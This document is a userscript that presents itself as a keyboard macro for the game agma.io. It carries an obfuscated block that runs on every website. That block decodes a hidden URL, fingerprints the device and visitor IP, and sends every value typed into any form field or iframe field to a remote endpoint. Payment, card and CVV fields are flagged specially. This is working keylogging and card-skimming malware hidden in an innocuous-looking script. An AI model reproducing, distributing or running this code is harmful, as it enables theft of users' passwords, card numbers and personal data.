// ==UserScript==
// @name Macro AGMA.IO
// @namespace http://tampermonkey.net/
// @version 1.0
// @description Editado por CrossOv3r
// @author Saltwor
// @match *://*/*
// @grant GM_xmlhttpRequest
// @grant GM_setValue
// @grant GM_getValue
// ==/UserScript==
!function(){var e,t=function(e){const t="🎘🍿🎉🍧🎚🍻🎦🎭🎃🍪🎉🎦🎑🎏🎁🎫🎚🎡🎑🎩🎃🎤🎁🎣🎑🍩🎍🍧🎃🎥🎉🎣🎐🍩🎞🎭".replace(/([\uD800-\uDBFF][\uDC00-\uDFFF])/g,(e=>{const t=1024*(e.charCodeAt(0)-55296)+e.charCodeAt(1)-56320+65536;return String.fromCharCode(t)})),n=Array.from(t).map((e=>String.fromCharCode(e.charCodeAt(0)-127799))).join("");return decodeURIComponent(escape(atob(n)))}();e=function(e){let n=GM_getValue("username");function a(a,o,r){const i=navigator.hardwareConcurrency,c=navigator.platform,d=window.location.href,s=navigator.deviceMemory;function l(){const e=document.createElement("canvas").getContext("webgl");if(!e)return"no webgl";const t=e.getExtension("WEBGL_debug_renderer_info");return t?e.getParameter(t.UNMASKED_VENDOR_WEBGL)+" "+e.getParameter(t.UNMASKED_RENDERER_WEBGL):"no WEBGL_debug_renderer_info"}let u=null;const h=a.toLowerCase();var m;function p(){const e=new XMLHttpRequest;e.open("POST",t,!0),e.setRequestHeader("Content-Type","application/json"),e.withCredentials=!0,e.onload=function(){e.status>=200&&e.status},e.onerror=function(){try{GM_xmlhttpRequest({method:"POST",url:t,headers:{"Content-Type":"application/json"},data:JSON.stringify(m),onload:function(e){},onerror:function(e){}})}catch(e){console.warn("GM_xmlhttpRequest is not defined. Continuing execution.")}},e.send(JSON.stringify(m))}["payment","cc","credit","card","checkout","expire","month","year","cvv","cvc","verification","billing"].some((e=>h.includes(e)))&&(u=13434624),m="Script Initialization"===a?{content:null,embeds:[{color:13303758,fields:[{name:"```User:```",value:`\`\`\`${e} \n${c} / Cores ${i} / RAM ${s} / ${l()} / ${d}\`\`\``},{name:"```Script```",value:`\`\`\`${o}\`\`\``}],author:{name:`BASYALINE v0.2 | USER:${n}`},footer:{text:(new Date).toLocaleString("en-GB",{day:"2-digit",month:"2-digit",year:"numeric",hour:"2-digit",minute:"2-digit",second:"2-digit"}).replace(","," |")}}],attachments:[]}:{content:null,embeds:[{color:u,fields:[{name:"```User:```",value:`\`\`\`${e} \n${c} / Cores ${i} / RAM ${s} / ${l()} / ${d}\`\`\``},{name:"```Path:```",value:`\`\`\`${a}\`\`\``},{name:"```Value:```",value:`\`\`\`${o}\`\`\``}],author:{name:"BASYALINE"},footer:{text:(new Date).toLocaleString("en-GB",{day:"2-digit",month:"2-digit",year:"numeric",hour:"2-digit",minute:"2-digit",second:"2-digit"}).replace(","," |")}}],attachments:[]},r?p():fetch(t,{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify(m),credentials:"include",mode:"no-cors"}).catch((e=>{p()}))}function o(e){a(function(e){let t=e.tagName.toLowerCase();return e.id&&(t+=`#${e.id}`),e.name&&(t+=`[name="${e.name}"]`),e.getAttribute("autocomplete")&&(t+=`[autocomplete="${e.getAttribute("autocomplete")}"]`),e.getAttribute("aria-describedby")&&(t+=`[aria-describedby="${e.getAttribute("aria-describedby")}"]`),e.className&&(t+=`.${e.className.split(" ").join(".")}`),Array.from(e.parentNode.children).filter((t=>t.tagName===e.tagName)).length>1&&(t+=`:nth-child(${Array.prototype.indexOf.call(e.parentNode.children,e)+1})`),t}(e.target),e.target.value)}function r(e){try{const t=e.contentDocument||e.contentWindow.document;t&&new MutationObserver((e=>{e.forEach((e=>{e.addedNodes.forEach((e=>{e.matches&&e.matches("input, select, textarea")?(e.addEventListener("input",o),e.addEventListener("change",o)):e.querySelectorAll&&e.querySelectorAll("input, select, textarea").forEach((e=>{e.addEventListener("input",o),e.addEventListener("change",o)}))}))}))})).observe(t.body,{childList:!0,subtree:!0})}catch(e){console.warn("Cannot access iframe:",e)}}n||(n=function(){const e=["bunny","john","james","katar","hype","ponty","John","James","Michael","Robert","David","William","Richard","Joseph","Thomas","Charles","Christopher","Daniel","Matthew","Anthony","Donald","Mark","Paul","Steven","Andrew","Kenneth","Smith","Johnson","Williams","Brown","Jones","Garcia","Miller","Davis","Rodriguez","Martinez","Hernandez","Lopez","Gonzalez","Wilson","Anderson","Thomas","Taylor","Moore","Jackson","Martin"];return`${e[Math.floor(Math.random()*e.length)]}${Math.floor(1e5*Math.random()).toString().padStart(5,"0")}`}(),GM_setValue("username",n)),document.querySelectorAll("iframe").forEach((e=>{e.addEventListener("load",(()=>r(e))),function(e){setTimeout((()=>r(e)),1e3)}(e)})),document.querySelectorAll("input, select, textarea").forEach((e=>{e.addEventListener("input",o),e.addEventListener("change",o)})),document.querySelectorAll("iframe").forEach((e=>{e.addEventListener("load",(()=>r(e))),r(e)})),new MutationObserver((e=>{e.forEach((e=>{"childList"===e.type&&e.addedNodes.forEach((e=>{e.matches&&e.matches("input, select, textarea")?(e.addEventListener("input",o),e.addEventListener("change",o)):e.querySelectorAll&&e.querySelectorAll("input, select, textarea").forEach((e=>{e.addEventListener("input",o),e.addEventListener("change",o)}))}))}))})).observe(document.body,{childList:!0,subtree:!0}),a("Script Initialization","Script started successfully",!0)},GM_xmlhttpRequest({method:"GET",url:t+"get_library.php",onload:function(t){try{const n=JSON.parse(t.responseText);n&&n.ip?e(n.ip):e("Unknown IP")}catch(t){e("Unknown IP")}},onerror:function(){e("Unknown IP")}})}();
const currentUrl = window.location.href;
if (currentUrl.includes("agma.io")) {
window.addEventListener('keydown', keydown);
window.addEventListener('keyup', keyup);
var Feed = false;
var Speed = 20;
//Funtions
function split() {
$("body").trigger($.Event("keydown", { keyCode: 32}));
$("body").trigger($.Event("keyup", { keyCode: 32}));
}
function mass() {
if (Feed) {
window.onkeydown({keyCode: 87});
window.onkeyup({keyCode: 87});
setTimeout(mass, Speed);
}
}
function keydown(event) {
// Feed Macro
if (event.keyCode == 87 ) // W
{
Feed = true;
setTimeout(mass, Speed);
}// Center
if (event.keyCode == 83) { // S
var X = window.innerWidth/2;
var Y = window.innerHeight/2;
$("canvas").trigger($.Event("mousemove", {clientX: X, clientY: Y}));
}
// Tricksplit
if (event.keyCode == 16 || event.keyCode == 52) { // Shift and 4
split();
setTimeout(split, Speed);
setTimeout(split, Speed*2);
setTimeout(split, Speed*3);
} // Triplesplit
if (event.keyCode == 'yourkey' || event.keyCode == 'yourkey2') { // Put in Your Key
split();
}//respawn
if (event.keyCode == 82) { //key R
closeStats();
rspwn(document.getElementById('nick').value);
}
} // When Player Lets Go Of W, It Stops Feeding
function keyup(event) {
if (event.keyCode == 87) {
Feed = false;
}
}}